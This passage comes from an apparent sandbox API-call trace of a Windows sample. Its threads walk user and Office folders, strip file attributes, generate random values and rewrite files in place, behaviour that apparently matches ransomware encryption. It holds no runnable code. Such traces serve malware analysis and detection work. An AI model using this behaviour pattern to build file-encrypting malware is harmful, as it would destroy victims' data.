hTemplateFile=0x0) returned 0x2a4 [0065.074] GetFileSizeEx (in: hFile=0x2a4, lpFileSize=0x5cefc08 | out: lpFileSize=0x5cefc08*=350) returned 1 [0065.074] SetFilePointerEx (in: hFile=0x2a4, liDistanceToMove=0x15a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.074] ReadFile (in: hFile=0x2a4, lpBuffer=0x5cefb8c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x5cefb88, lpOverlapped=0x0 | out: lpBuffer=0x5cefb8c*, lpNumberOfBytesRead=0x5cefb88*=0x4, lpOverlapped=0x0) returned 1 [0065.075] SetFilePointerEx (in: hFile=0x2a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.075] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x435df0 [0065.075] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x435d28 [0065.075] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x435cd8 [0065.075] NtQuerySystemTime (in: CurrentTime=0x5cefb68 | out: CurrentTime=0x5cefb68*=132174898290600000) returned 0x0 [0065.075] RtlRandomEx (in: Seed=0x5cefb74 | out: Seed=0x5cefb74) returned 0x5b77d7e5 [0065.075] RtlRandomEx (in: Seed=0x5cefb74 | out: Seed=0x5cefb74) returned 0x18886f1c [0065.075] RtlRandomEx (in: Seed=0x5cefb74 | out: Seed=0x5cefb74) returned 0x4e5fa179 [0065.075] RtlRandomEx (in: Seed=0x5cefb74 | out: Seed=0x5cefb74) returned 0x69fb3fac [0065.075] RtlRandomEx (in: Seed=0x5cefb74 | out: Seed=0x5cefb74) returned 0x2d835e19 [0065.075] RtlRandomEx (in: Seed=0x5cefb74 | out: Seed=0x5cefb74) returned 0x6263ae39 [0065.075] RtlRandomEx (in: Seed=0x5cefb74 | out: Seed=0x5cefb74) returned 0x34580796 [0065.075] RtlRandomEx (in: Seed=0x5cefb74 | out: Seed=0x5cefb74) returned 0x6e2adf32 [0065.075] RtlRandomEx (in: Seed=0x5cefb74 | out: Seed=0x5cefb74) returned 0x792f3671 [0065.075] RtlRandomEx (in: Seed=0x5cefb74 | out: Seed=0x5cefb74) returned 0x5fc0ec32 [0065.075] RtlRandomEx (in: Seed=0x5cefb74 | out: Seed=0x5cefb74) returned 0x6aa6a2ac [0065.075] RtlRandomEx (in: Seed=0x5cefb74 | out: Seed=0x5cefb74) returned 0x436fda3 [0065.075] RtlRandomEx (in: Seed=0x5cefb74 | out: Seed=0x5cefb74) returned 0x34222a4d [0065.075] RtlRandomEx (in: Seed=0x5cefb74 | out: Seed=0x5cefb74) returned 0xaa215aa [0065.075] RtlRandomEx (in: Seed=0x5cefb74 | out: Seed=0x5cefb74) returned 0x4fbab086 [0065.075] RtlRandomEx (in: Seed=0x5cefb74 | out: Seed=0x5cefb74) returned 0x132acf93 [0065.075] RtlRandomEx (in: Seed=0x5cefb74 | out: Seed=0x5cefb74) returned 0x1e6740af [0065.075] RtlRandomEx (in: Seed=0x5cefb74 | out: Seed=0x5cefb74) returned 0x477d6084 [0065.075] RtlRandomEx (in: Seed=0x5cefb74 | out: Seed=0x5cefb74) returned 0x26560d36 [0065.075] RtlRandomEx (in: Seed=0x5cefb74 | out: Seed=0x5cefb74) returned 0x2b5d62ff [0065.075] RtlRandomEx (in: Seed=0x5cefb74 | out: Seed=0x5cefb74) returned 0x1e0de3e6 [0065.075] RtlRandomEx (in: Seed=0x5cefb74 | out: Seed=0x5cefb74) returned 0x697ab56c [0065.075] RtlRandomEx (in: Seed=0x5cefb74 | out: Seed=0x5cefb74) returned 0x3cef8c4a [0065.075] RtlRandomEx (in: Seed=0x5cefb74 | out: Seed=0x5cefb74) returned 0x7f516bd2 [0065.075] RtlRandomEx (in: Seed=0x5cefb74 | out: Seed=0x5cefb74) returned 0x79096fa1 [0065.076] RtlRandomEx (in: Seed=0x5cefb74 | out: Seed=0x5cefb74) returned 0x31ae80d2 [0065.076] RtlRandomEx (in: Seed=0x5cefb74 | out: Seed=0x5cefb74) returned 0x5ca82098 [0065.076] RtlRandomEx (in: Seed=0x5cefb74 | out: Seed=0x5cefb74) returned 0x1b544e92 [0065.076] RtlRandomEx (in: Seed=0x5cefb74 | out: Seed=0x5cefb74) returned 0x1e38af92 [0065.076] RtlRandomEx (in: Seed=0x5cefb74 | out: Seed=0x5cefb74) returned 0x319c8ce0 [0065.076] RtlRandomEx (in: Seed=0x5cefb74 | out: Seed=0x5cefb74) returned 0x140223ed [0065.076] RtlRandomEx (in: Seed=0x5cefb74 | out: Seed=0x5cefb74) returned 0x692503ec [0065.087] ReadFile (in: hFile=0x2a4, lpBuffer=0x12c0b820, nNumberOfBytesToRead=0x15e, lpNumberOfBytesRead=0x5cefb64, lpOverlapped=0x0 | out: lpBuffer=0x12c0b820*, lpNumberOfBytesRead=0x5cefb64*=0x15e, lpOverlapped=0x0) returned 1 [0065.087] SetFilePointerEx (in: hFile=0x2a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.087] WriteFile (hFile=0x2a4, lpBuffer=0x12c18028, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x5cefb60, lpOverlapped=0x0) Thread: id = 828 os_tid = 0x10cc [0051.589] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.VISIO.SHAPESHEET.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.visio.shapesheet.14.1033.hxn")) Thread: id = 829 os_tid = 0x10d0 [0051.590] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.VISIO_PRM.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.visio_prm.14.1033.hxn")) returned 0x2022 [0059.036] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.VISIO_PRM.14.1033.hxn", dwFileAttributes=0x20) returned 1 [0061.902] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.VISIO_PRM.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.visio_prm.14.1033.hxn"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xb7c [0061.903] GetFileSizeEx (in: hFile=0xb7c, lpFileSize=0x1509fdd0 | out: lpFileSize=0x1509fdd0*=350) returned 1 [0061.903] SetFilePointerEx (in: hFile=0xb7c, liDistanceToMove=0x15a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.903] ReadFile (in: hFile=0xb7c, lpBuffer=0x1509fd54, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1509fd50, lpOverlapped=0x0 | out: lpBuffer=0x1509fd54*, lpNumberOfBytesRead=0x1509fd50*=0x4, lpOverlapped=0x0) returned 1 [0061.934] SetFilePointerEx (in: hFile=0xb7c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.934] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x429278 [0061.934] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x429200 [0061.934] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x429160 [0061.934] NtQuerySystemTime (in: CurrentTime=0x1509fd30 | out: CurrentTime=0x1509fd30*=132174898259088000) returned 0x0 [0061.934] RtlRandomEx (in: Seed=0x1509fd3c | out: Seed=0x1509fd3c) returned 0x4fbfbffe [0061.934] RtlRandomEx (in: Seed=0x1509fd3c | out: Seed=0x1509fd3c) returned 0x3ad73218 [0061.934] RtlRandomEx (in: Seed=0x1509fd3c | out: Seed=0x1509fd3c) returned 0x21073344 [0061.934] RtlRandomEx (in: Seed=0x1509fd3c | out: Seed=0x1509fd3c) returned 0x5a80eb7c [0061.934] RtlRandomEx (in: Seed=0x1509fd3c | out: Seed=0x1509fd3c) returned 0x2dd6642a [0061.934] RtlRandomEx (in: Seed=0x1509fd3c | out: Seed=0x1509fd3c) returned 0xac932ad [0061.934] RtlRandomEx (in: Seed=0x1509fd3c | out: Seed=0x1509fd3c) returned 0x64847fdc [0061.934] RtlRandomEx (in: Seed=0x1509fd3c | out: Seed=0x1509fd3c) returned 0x78e251f6 [0061.934] RtlRandomEx (in: Seed=0x1509fd3c | out: Seed=0x1509fd3c) returned 0x42ae3c6e [0061.934] RtlRandomEx (in: Seed=0x1509fd3c | out: Seed=0x1509fd3c) returned 0x20a01533 [0061.934] RtlRandomEx (in: Seed=0x1509fd3c | out: Seed=0x1509fd3c) returned 0xb7495ad [0061.934] RtlRandomEx (in: Seed=0x1509fd3c | out: Seed=0x1509fd3c) returned 0x6458c409 [0061.934] RtlRandomEx (in: Seed=0x1509fd3c | out: Seed=0x1509fd3c) returned 0x67c16e49 [0061.934] RtlRandomEx (in: Seed=0x1509fd3c | out: Seed=0x1509fd3c) returned 0x2f2b30e [0061.934] RtlRandomEx (in: Seed=0x1509fd3c | out: Seed=0x1509fd3c) returned 0x50cf9966 [0061.934] RtlRandomEx (in: Seed=0x1509fd3c | out: Seed=0x1509fd3c) returned 0x5980a26a [0061.934] RtlRandomEx (in: Seed=0x1509fd3c | out: Seed=0x1509fd3c) returned 0x5bb5fb6e [0061.934] RtlRandomEx (in: Seed=0x1509fd3c | out: Seed=0x1509fd3c) returned 0x53bf571c [0061.934] RtlRandomEx (in: Seed=0x1509fd3c | out: Seed=0x1509fd3c) returned 0x9954e8c [0061.934] RtlRandomEx (in: Seed=0x1509fd3c | out: Seed=0x1509fd3c) returned 0x635e01 [0061.934] RtlRandomEx (in: Seed=0x1509fd3c | out: Seed=0x1509fd3c) returned 0xd3451fb [0061.934] RtlRandomEx (in: Seed=0x1509fd3c | out: Seed=0x1509fd3c) returned 0x39264e5f [0061.934] RtlRandomEx (in: Seed=0x1509fd3c | out: Seed=0x1509fd3c) returned 0x10a9d518 [0061.934] RtlRandomEx (in: Seed=0x1509fd3c | out: Seed=0x1509fd3c) returned 0x6638df19 [0061.934] RtlRandomEx (in: Seed=0x1509fd3c | out: Seed=0x1509fd3c) returned 0x5a7867c8 [0061.935] RtlRandomEx (in: Seed=0x1509fd3c | out: Seed=0x1509fd3c) returned 0x37f412d2 [0061.935] RtlRandomEx (in: Seed=0x1509fd3c | out: Seed=0x1509fd3c) returned 0x236559ca [0061.935] RtlRandomEx (in: Seed=0x1509fd3c | out: Seed=0x1509fd3c) returned 0x65d8ab57 [0061.935] RtlRandomEx (in: Seed=0x1509fd3c | out: Seed=0x1509fd3c) returned 0x487540f8 [0061.935] RtlRandomEx (in: Seed=0x1509fd3c | out: Seed=0x1509fd3c) returned 0x2d7e64f7 [0061.935] RtlRandomEx (in: Seed=0x1509fd3c | out: Seed=0x1509fd3c) returned 0x5ffa60a2 [0061.935] RtlRandomEx (in: Seed=0x1509fd3c | out: Seed=0x1509fd3c) returned 0x7dc2fd40 [0061.949] ReadFile (in: hFile=0xb7c, lpBuffer=0x12d54990, nNumberOfBytesToRead=0x15e, lpNumberOfBytesRead=0x1509fd2c, lpOverlapped=0x0 | out: lpBuffer=0x12d54990*, lpNumberOfBytesRead=0x1509fd2c*=0x15e, lpOverlapped=0x0) returned 1 [0061.949] SetFilePointerEx (in: hFile=0xb7c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.950] WriteFile (in: hFile=0xb7c, lpBuffer=0x96a56a0*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x1509fd28, lpOverlapped=0x0 | out: lpBuffer=0x96a56a0*, lpNumberOfBytesWritten=0x1509fd28*=0x15e, lpOverlapped=0x0) returned 1 [0065.542] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97ce6e0 [0065.542] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97ce6b8 [0065.542] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ce6b8) returned 1 [0065.542] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x96a56a0) returned 1 [0065.744] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d54990) returned 1 [0065.746] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x418e60) returned 1 [0065.746] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402d08) returned 1 [0065.746] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x3d) returned 0x402d08 [0065.747] SetFilePointerEx (hFile=0xb7c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0) Thread: id = 830 os_tid = 0x10d4 [0051.590] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.VISIO_STD.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.visio_std.14.1033.hxn")) returned 0x2022 [0062.245] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.VISIO_STD.14.1033.hxn", dwFileAttributes=0x20) returned 1 [0065.309] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.VISIO_STD.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.visio_std.14.1033.hxn"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1264 [0065.309] GetFileSizeEx (in: hFile=0x1264, lpFileSize=0x60efa94 | out: lpFileSize=0x60efa94*=350) returned 1 [0065.309] SetFilePointerEx (in: hFile=0x1264, liDistanceToMove=0x15a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.309] ReadFile (hFile=0x1264, lpBuffer=0x60efa18, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x60efa14, lpOverlapped=0x0) Thread: id = 831 os_tid = 0x10d8 [0051.729] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.WINPROJ.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.winproj.14.1033.hxn")) returned 0x2022 [0055.495] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.WINPROJ.14.1033.hxn", dwFileAttributes=0x20) returned 1 [0064.271] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.WINPROJ.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.winproj.14.1033.hxn"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xfa0 [0064.276] GetFileSizeEx (in: hFile=0xfa0, lpFileSize=0x14f3f7ec | out: lpFileSize=0x14f3f7ec*=338) returned 1 [0065.752] SetFilePointerEx (in: hFile=0xfa0, liDistanceToMove=0x14e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.752] ReadFile (hFile=0xfa0, lpBuffer=0x14f3f770, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x14f3f76c, lpOverlapped=0x0) Thread: id = 832 os_tid = 0x10dc [0051.729] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\Presentation Designs\\Maple.gif" (normalized: "c:\\program files\\microsoft office\\templates\\presentation designs\\maple.gif")) returned 0x20 [0051.915] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\Presentation Designs\\Maple.gif", dwFileAttributes=0x20) returned 1 [0060.158] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\Presentation Designs\\Maple.gif" (normalized: "c:\\program files\\microsoft office\\templates\\presentation designs\\maple.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xfdc [0060.175] GetFileSizeEx (in: hFile=0xfdc, lpFileSize=0x33cfee0 | out: lpFileSize=0x33cfee0*=0) returned 1 [0060.175] FlushFileBuffers (hFile=0xfdc) returned 1 [0064.519] CloseHandle (hObject=0xfdc) returned 1 [0064.519] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\Presentation Designs\\Maple.gif", dwFileAttributes=0x20) returned 1 [0064.519] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4ee1f8) returned 1 Thread: id = 833 os_tid = 0x10e0 [0051.730] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xae) returned 0x45c578 [0051.730] wcscpy (in: _Dest=0x45c578, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects" [0051.730] wcscat (in: _Dest=0x45c578, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\" [0051.730] wcscat (in: _Dest=0x45c578, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\*" [0051.730] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x42e458 [0051.730] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\*", lpFindFileData=0x42e458 | out: lpFindFileData=0x42e458*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1d4582b0, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d4582b0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d4582b0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x40a0e8 [0051.915] wcscmp (_String1=".", _String2=".") returned 0 [0051.915] FindNextFileW (in: hFindFile=0x40a0e8, lpFindFileData=0x42e458 | out: lpFindFileData=0x42e458*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1d4582b0, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d4582b0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d4582b0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0051.916] wcscmp (_String1="..", _String2=".") returned 1 [0051.916] wcscmp (_String1="..", _String2="..") returned 0 [0051.916] FindNextFileW (in: hFindFile=0x40a0e8, lpFindFileData=0x42e458 | out: lpFindFileData=0x42e458*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1d4582b0, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d4582b0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d4582b0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="P7Y3F7QB", cAlternateFileName="")) returned 1 [0051.916] wcscmp (_String1="P7Y3F7QB", _String2=".") returned 1 [0051.916] wcscmp (_String1="P7Y3F7QB", _String2="..") returned 1 [0051.916] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xbc) returned 0x4ef800 [0051.916] wcscpy (in: _Dest=0x4ef800, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects" [0051.916] wcscat (in: _Dest=0x4ef800, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\" [0051.916] wcscat (in: _Dest=0x4ef800, _Source="P7Y3F7QB" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\P7Y3F7QB") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\P7Y3F7QB" [0055.591] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x4ef800, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xdc4 [0055.592] FindNextFileW (in: hFindFile=0x40a0e8, lpFindFileData=0x42e458 | out: lpFindFileData=0x42e458*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1d4582b0, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d4582b0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d4582b0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="P7Y3F7QB", cAlternateFileName="")) returned 0 [0055.592] FindClose (in: hFindFile=0x40a0e8 | out: hFindFile=0x40a0e8) returned 1 [0055.592] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x42e458) returned 1 [0055.592] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x45c578) returned 1 [0055.592] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x45c408) returned 1 Thread: id = 834 os_tid = 0x10e4 [0051.731] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xae) returned 0x45c630 [0051.731] wcscpy (in: _Dest=0x45c630, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com" [0051.731] wcscat (in: _Dest=0x45c630, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\" [0051.731] wcscat (in: _Dest=0x45c630, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\*" [0051.731] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x431210 [0051.731] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\*", lpFindFileData=0x431210 | out: lpFindFileData=0x431210*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b695060, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0x6d241020, ftLastAccessTime.dwHighDateTime=0x1d2dda5, ftLastWriteTime.dwLowDateTime=0x6d241020, ftLastWriteTime.dwHighDateTime=0x1d2dda5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x40a428 [0051.917] wcscmp (_String1=".", _String2=".") returned 0 [0051.917] FindNextFileW (in: hFindFile=0x40a428, lpFindFileData=0x431210 | out: lpFindFileData=0x431210*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b695060, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0x6d241020, ftLastAccessTime.dwHighDateTime=0x1d2dda5, ftLastWriteTime.dwLowDateTime=0x6d241020, ftLastWriteTime.dwHighDateTime=0x1d2dda5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0051.917] wcscmp (_String1="..", _String2=".") returned 1 [0051.917] wcscmp (_String1="..", _String2="..") returned 0 [0051.917] FindNextFileW (in: hFindFile=0x40a428, lpFindFileData=0x431210 | out: lpFindFileData=0x431210*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6d241020, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0x6d9d7640, ftLastAccessTime.dwHighDateTime=0x1d2dda5, ftLastWriteTime.dwLowDateTime=0x6d9d7640, ftLastWriteTime.dwHighDateTime=0x1d2dda5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="support", cAlternateFileName="")) returned 1 [0051.917] wcscmp (_String1="support", _String2=".") returned 1 [0051.917] wcscmp (_String1="support", _String2="..") returned 1 [0051.917] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xba) returned 0x424608 [0051.917] wcscpy (in: _Dest=0x424608, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com" [0051.917] wcscat (in: _Dest=0x424608, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\" [0051.917] wcscat (in: _Dest=0x424608, _Source="support" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support" [0055.592] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x424608, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfe0 [0055.593] FindNextFileW (in: hFindFile=0x40a428, lpFindFileData=0x431210 | out: lpFindFileData=0x431210*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6d241020, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0x6d9d7640, ftLastAccessTime.dwHighDateTime=0x1d2dda5, ftLastWriteTime.dwLowDateTime=0x6d9d7640, ftLastWriteTime.dwHighDateTime=0x1d2dda5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="support", cAlternateFileName="")) returned 0 [0055.593] FindClose (in: hFindFile=0x40a428 | out: hFindFile=0x40a428) returned 1 [0055.593] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x431210) returned 1 [0055.594] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x45c630) returned 1 [0055.594] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x45c4c0) returned 1 Thread: id = 835 os_tid = 0x10e8 [0051.732] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\liivgKDKEOH24M -\\c3E_hx.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ciu6mk\\liivgkdkeoh24m -\\c3e_hx.wav")) returned 0x20 [0051.732] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS 